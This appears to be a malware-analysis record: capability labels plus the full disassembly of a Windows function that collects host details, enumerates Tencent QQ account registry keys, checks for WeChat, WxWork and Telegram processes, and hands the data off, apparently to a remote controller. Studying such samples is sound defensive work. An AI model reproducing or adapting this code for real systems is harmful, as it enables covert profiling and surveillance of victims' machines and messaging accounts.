Function at 0x140006370
Capabilities:
Check for time delay via gettickcount
Delete registry value
Enumerate devices by category
Enumerate processes
Get common file path
Get disk information
Get disk size
Get geographical location
Get graphical window text
Get hostname
Get memory capacity
Get process image filename
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value
Resolve dns
Set registry value

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1118]
mov eax, 0x1218
call fcn.14001e540
sub rsp, rax
mov ecx, 0x1334
call fcn.14001def8
xor edx, edx
mov r8d, 0x1334
mov rcx, rax
mov r15, rax
call fcn.14003d990
cmp byte [0x14005e72c], 0
je 0x1400063de
lea rcx, [r15 + 0x12b4]
mov edx, 0x40
lea r8, [0x14005f500]
call fcn.140028980
xor edx, edx
mov byte [r15], inet_ntoa
mov r8d, 0xc8
lea rcx, [rbp + 0x80]
call fcn.14003d990
xorps xmm0, xmm0
lea rcx, [rbp - 0x30]
xor eax, eax
mov edx, gethostbyname
movups xmmword [rbp - 0x30], xmm0
mov word [rbp], ax
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rbp - 0x30]
call qword [sym.imp.WS2_32.dll_gethostbyname]
xor edi, edi
mov rbx, rax
test rax, rax
je 0x1400064cf
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0xc8
lea rcx, [rbp + 0x80]
mov r8, rax
call fcn.140029138
lea r8, [0x14004adf0]
mov edx, 0xc8
lea rcx, [rbp + 0x80]
call fcn.140029138
mov rcx, qword [rbx + 0x18]
movsx rax, word [rbx + 0x12]
add rax, qword [rcx]
cmp rax, qword [rbx]
jae 0x1400064cf
mov esi, edi
mov rcx, qword [rcx + rsi + 8]
lea rsi, [rsi + 8]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0xc8
lea rcx, [rbp + 0x80]
mov r8, rax
call fcn.140029138
lea r8, [0x14004adf0]
mov edx, 0xc8
lea rcx, [rbp + 0x80]
call fcn.140029138
mov rcx, qword [rbx + 0x18]
movsx rax, word [rbx + 0x12]
add rax, qword [rcx + rsi]
cmp rax, qword [rbx]
jb 0x140006480
mov dword [rsp + 0x28], edi
lea r8, [rbp + 0x80]
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [r15 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 0xffffffff
xor ecx, ecx
lea r8, [rbp + 0x80]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, 8
lea rcx, [rbp + 0x1178]
mov dword [rbp + 0x1178], eax
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
sub ecx, dword [rbp + 0x117c]
mul ecx
mov eax, 0x88888889
lea rcx, [r15 + 0x270]
shr edx, 6
mul edx
shr edx, 5
mov r8d, edx
lea rdx, [0x14004b5f8]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r9d, 0xffffffff
mov dword [rsp + 0x28], edi
lea r8, [rbp - 0x30]
mov qword [rsp + 0x20], rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [r15 + 0x28e]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 0xffffffff
xor ecx, ecx
lea r8, [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r14, rax
test rax, rax
je 0x1400066dc
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400066d3
lea r8, [rbp + 0x1178]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x74]
call rax
movzx eax, word [rbp + 0x1178]
lea rcx, [r15 + 0x356]
mov r9d, dword [rsp + 0x74]
lea r8, str._d._d._d
mov dword [rsp + 0x28], eax
mov edx, 0x1e
mov dword [rbp + 0x1178], eax
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x20], eax
call fcn.140003670
mov ecx, 0x194
mov dword [rsp + 0x78], 0xca
call fcn.14001df34
mov rbx, rax
mov dword [rsp + 0x68], 1
call fcn.140009300
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
test eax, eax
mov rcx, 0xffffffff80000002
lea rax, [rsp + 0x60]
mov r9d, 0x20119
mov qword [rsp + 0x20], rax
jne 0x14000666d
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x60]
lea r9, [rsp + 0x68]
mov esi, eax
lea rdx, str.ProductName
lea rax, [rsp + 0x78]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400066c0
test esi, esi
jne 0x1400066c0
lea rcx, [r15 + 0x2f2]
mov r9d, gethostbyname
mov r8, rbx
mov edx, gethostbyname
call fcn.140029428
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbx
call fcn.14001dec4
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xorps xmm0, xmm0
lea rcx, [rbp + 0x50]
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r8d, dword [rbp + 0x70]
lea rcx, [r15 + 0x392]
lea rdx, [0x14004add8]
call qword [sym.imp.USER32.dll_wsprintfW]
mov esi, edi
mov r14d, edi
mov r12d, edi
mov ebx, edi
nop word [rax + rax]
lea eax, [rbx + 0x42]
mov dword [rbp - 0x6e], 0x5c003a
lea rcx, [rbp - 0x70]
mov word [rbp - 0x70], ax
mov word [rbp - 0x6a], di
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x140006778
lea r9, [rsp + 0x60]
inc r12d
lea r8, [rbp + 0x1178]
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rax, qword [rbp + 0x1178]
shr rax, 0x1e
add esi, eax
mov rax, qword [rsp + 0x60]
shr rax, 0x1e
add r14d, eax
inc ebx
cmp ebx, 0x1a
jl 0x140006720
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
movups xmmword [rbp + 0x10], xmm0
mov dword [rbp + 0x10], 0x40
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x18]
lea r8, str.HDD:_d
mov rbx, qword [rbp + 0x20]
lea rcx, [r15 + 0x40a]
shr rax, 0x1e
mov r9d, r12d
inc rax
shr rbx, 0x1e
mov qword [rsp + 0x30], rax
mov edx, 0xc8
mov dword [rsp + 0x28], r14d
inc rbx
mov dword [rsp + 0x20], esi
call fcn.140003670
lea r9, [r15 + 0x40a]
mov qword [rsp + 0x20], rbx
lea r8, str._sFree_d_Gb
mov edx, 0xc8
lea rcx, [r15 + 0x40a]
call fcn.140003670
lea rdx, [r15 + 0xf7e]
lea rcx, [r15 + 0x59a]
call fcn.140008f60
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x14000683a
lea rdx, [r15 + 0x6c6]
mov r8d, 0xfa
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rsi, [r15 + 0x8c4]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r13d, dword [rbp + 0x1170]
lea rax, str.Software
test r13d, r13d
mov qword [rsp + 0x20], rsi
lea rbx, str.VenNetwork
cmovne rbx, rax
lea r8, str.VenGROUP
mov rdx, rbx
call fcn.140008e30
cmp eax, 1
jge 0x1400068a3
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx r9d, word [rbp - 0x7a]
lea rdx, str._d._d
movzx r8d, word [rbp - 0x7e]
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [r15 + 0x928]
mov edx, gethostbyname
lea r8, [0x14005b098]
call fcn.140028980
lea rsi, [r15 + 0x98c]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r8, str.VenREMARK
mov qword [rsp + 0x20], rsi
mov rdx, rbx
call fcn.140008e30
cmp eax, 1
jge 0x1400068f8
lea r8, [0x14005b0fc]
mov edx, gethostbyname
mov rcx, rsi
call fcn.140028980
xorps xmm0, xmm0
lea rcx, str.kernel32.dll
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x14004b780]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x70]
test rax, rax
je 0x140006931
call rax
jmp 0x140006937
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rbp - 0x70]
mov ecx, 6
cmp cx, ax
je 0x140006951
mov ecx, 9
cmp cx, ax
mov eax, edi
jne 0x140006956
mov eax, 1
test eax, eax
lea rcx, [0x14004ae50]
lea r8, [0x14004ae58]
cmovne r8, rcx
lea rdx, str.X64__s
lea rcx, [r15 + 0xa54]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, r15
call fcn.140008c30
lea r12, [r15 + 0xacc]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test r12, r12
je 0x140006ade
mov r8d, eax
mov word [r12], di
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r13, rax
test rax, rax
je 0x140006ad7
mov r8d, 0x104
lea rdx, [rbp + 0x350]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameW]
test eax, eax
je 0x140006ace
lea rdx, [rbp + 0xd20]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x140006abe
mov esi, edi
cmp word [rbp + 0xd20], di
je 0x140006abe
lea rbx, [rbp + 0xd20]
nop dword [rax + rax]
movsxd rax, esi
lea r14, [rbp + 0xd20]
lea rdx, [0x14004b9a8]
lea r14, [r14 + rax*2]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140006aae
lea rdx, [0x14004b9b0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140006aae
movzx eax, word [rbx]
lea rdx, [rbp + 0x150]
mov word [rbp + 0x1178], ax
lea rcx, [rbp + 0x1178]
movzx eax, word [rbx + 2]
mov r8d, 0x64
mov word [rbp + 0x117a], ax
mov word [rbp + 0x117c], di
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x140006ace
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r14, eax
lea rdx, [rbp + 0x150]
mov r8, r14
lea rcx, [rbp + 0x350]
call fcn.14002928c
test eax, eax
je 0x140006f0d
add rbx, 8
add esi, 4
cmp word [rbx], di
jne 0x140006a10
lea rdx, [rbp + 0x350]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13d, dword [rbp + 0x1170]
xor ecx, ecx
mov ebx, edi
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x80]
xor edx, edx
lea r9, [0x1400412e8]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rcx, [0x1400412f8]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140006c0f
mov rcx, qword [rbp - 0x80]
lea r8, [rbp + 0x1178]
xor r9d, r9d
lea rdx, [0x140041308]
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
jne 0x140006c0f
mov rcx, qword [rbp + 0x1178]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [rbp + 0x1178]
lea r9, [rbp + 0x1170]
lea r8, [rsp + 0x60]
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
jne 0x140006bfe
mov esi, 8
mov rcx, qword [rsp + 0x60]
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
lea r9, [0x14003fa50]
xor r8d, r8d
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
js 0x140006bcd
mov rcx, qword [rsp + 0x68]
lea r8, [rbp - 0x70]
mov word [rbp - 0x70], si
lea rdx, str.FriendlyName
xor r9d, r9d
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
jne 0x140006bc2
mov rcx, qword [rbp - 0x68]
inc ebx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x1178]
lea r9, [rbp + 0x1170]
lea r8, [rsp + 0x60]
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
je 0x140006b70
call qword [sym.imp.ole32.dll_CoUninitialize]
lea r8, [0x14004ae70]
test ebx, ebx
jne 0x140006c16
lea r8, [0x14004ae74]
mov eax, 0xcd4
mov rcx, r15
add rcx, rax
mov edx, 4
call fcn.140028980
xor edx, edx
mov dword [r15 + 0x12b0], r13d
mov r8d, 0x1fe
lea rcx, [rbp + 0x350]
call fcn.14003d990
lea rax, [rsp + 0x60]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareTencentPluginVAS
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140006dd2
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x58], rdi
xor r9d, r9d
mov qword [rsp + 0x50], rdi
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rsp + 0x74]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x1178]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1170]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x140006e02
mov esi, dword [rbp + 0x1178]
mov r14d, dword [rbp + 0x1170]
inc esi
test r14d, r14d
je 0x140006dd2
cmp esi, 1
jbe 0x140006dd2
xor edx, edx
lea rcx, [rbp + 0x150]
mov r8d, 0x1fe
call fcn.14003d990
mov ebx, edi
test r14d, r14d
je 0x140006dc7
nop word [rax + rax]
xor edx, edx
lea rcx, [rbp + 0x150]
mov r8d, 0xff
call fcn.14003d990
mov rcx, qword [rsp + 0x60]
lea r9, [rsp + 0x68]
mov qword [rsp + 0x38], rdi
lea r8, [rbp + 0x150]
mov qword [rsp + 0x30], rdi
mov edx, ebx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x68], esi
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0xc
jge 0x140006db9
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 5
jle 0x140006db9
lea r8, [rbp + 0x150]
mov edx, 0xff
lea rcx, [rbp + 0x350]
call fcn.140028d04
lea r8, [0x14004b648]
mov edx, 0xff
lea rcx, [rbp + 0x350]
call fcn.140028d04
inc ebx
cmp ebx, dword [rbp + 0x1170]
jb 0x140006d20
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 4
jle 0x140006e02
lea rcx, [r15 + 0xcdc]
mov r9d, 0xd6
lea r8, [rbp + 0x350]
mov edx, 0xd7
call fcn.140029428
call fcn.140007a60
mov r8, rax
lea rcx, [r15 + 0xeda]
mov edx, gethostbyname
mov r9d, gethostbyname
call fcn.140029428
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 0x40]
mov ebx, eax
call fcn.140028d7c
mov rcx, qword [rbp - 0x40]
mov eax, 0x10624dd3
mul ebx
shr edx, 6
mov eax, edx
sub rcx, rax
mov qword [rbp - 0x38], rcx
lea rcx, [rbp - 0x38]
call fcn.1400290f0
lea rcx, [r15 + 0x9f0]
mov edx, dword [rax]
mov r8d, dword [rax + 0x10]
mov r9d, dword [rax + 0x14]
inc r8d
mov dword [rsp + 0x40], edx
add r9d, 0x76c
mov edx, dword [rax + 4]
mov dword [rsp + 0x38], edx
mov edx, dword [rax + 8]
mov eax, dword [rax + 0xc]
mov dword [rsp + 0x30], edx
lea rdx, [0x14004ae78]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r8d
mov r8, qword [rbp + 0x1168]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [r15 + 0xf3e]
mov edx, 2
mov ecx, 0x800
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea rcx, [r15 + 0x117c]
mov edx, gethostbyname
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, [rbp + 0x560]
lea rbx, [r15 + 0xa68]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
lea r9, [r15 + 2]
lea r8, [r15 + 0x356]
lea rdx, [r15 + 0x28e]
lea rcx, [r15 + 0x11e0]
test eax, eax
je 0x140006f36
lea rax, [rbp + 0x564]
mov qword [rsp + 0x38], rax
jmp 0x140006f3b
lea rdx, [rbp + 0x1178]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbp + 0x350]
mov rcx, r12
lea rdx, [rdx + r14*2]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x140006ace
mov qword [rsp + 0x38], rdi
lea rax, [r15 + 0x392]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x20], rax
call fcn.1400072d0
lea rbx, [r15 + 0x1242]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rax, str.AppEvents
mov qword [rsp + 0x20], rbx
test r13d, r13d
lea rsi, str.Network
lea r8, str.INSTALLTIME
cmovne rsi, rax
mov rdx, rsi
call fcn.140008e30
cmp eax, 1
jge 0x140007067
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx r9d, word [rbp - 0x7a]
lea rdx, str._d._d
movzx r8d, word [rbp - 0x7e]
mov rcx, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rbp + 0x1178]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp + 0x1178]
lea rdx, str.INSTALLTIME
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp + 0x1178]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rbp + 0x1178]
mov rdx, rsi
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000705a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x1178]
lea rdx, str.INSTALLTIME
add eax, eax
mov r9d, 3
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000705a
mov rcx, qword [rbp + 0x1178]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x1178]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140007108
xor edx, edx
lea rcx, [rbp + 0x664]
mov r8d, 0x234
call fcn.14003d990
lea rdx, [rbp + 0x660]
mov dword [rbp + 0x660], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140007108
lea rsi, str.WxWork.exe
nop word [rax + rax]
lea rdx, [rbp + 0x68c]
mov rcx, 0xffffffffffffffff
nop
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rsi + rcx*2 + 2]
jne 0x1400070f4
add rcx, 2
cmp rcx, 0xb
je 0x140007266
movzx eax, word [rdx + rcx*2]
cmp ax, word [rsi + rcx*2]
je 0x1400070d0
lea rdx, [rbp + 0x660]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400070c0
mov eax, edi
xor edx, edx
mov dword [r15 + 0x12a4], eax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400071b8
xor edx, edx
lea rcx, [rbp + 0x8a4]
mov r8d, 0x234
call fcn.14003d990
lea rdx, [rbp + 0x8a0]
mov dword [rbp + 0x8a0], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400071b8
lea rsi, str.WeChat.exe
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 0x8cc]
mov rcx, 0xffffffffffffffff
nop
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rsi + rcx*2 + 2]
jne 0x1400071a4
add rcx, 2
cmp rcx, 0xb
je 0x140007270
movzx eax, word [rdx + rcx*2]
cmp ax, word [rsi + rcx*2]
je 0x140007180
lea rdx, [rbp + 0x8a0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140007170
mov eax, edi
xor edx, edx
mov dword [r15 + 0x12a8], eax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000727f
xor edx, edx
lea rcx, [rbp + 0xae4]
mov r8d, 0x234
call fcn.14003d990
lea rdx, [rbp + 0xae0]
mov dword [rbp + 0xae0], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000727f
lea rsi, str.Telegram.exe
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 0xb0c]
mov rax, 0xffffffffffffffff
nop
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x140007250
add rax, 2
cmp rax, 0xd
je 0x14000727a
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
je 0x140007230
lea rdx, [rbp + 0xae0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140007220
jmp 0x14000727f
mov eax, 1
jmp 0x14000710a
mov eax, 1
jmp 0x1400071ba
mov edi, 1
mov rcx, qword [rbp + 0x1160]
mov r8d, 0x1334
mov dword [r15 + 0x12ac], edi
mov rdx, r15
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0x1334
mov rcx, r15
mov ebx, eax
call fcn.14001dec4
mov eax, ebx
add rsp, 0x1218
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret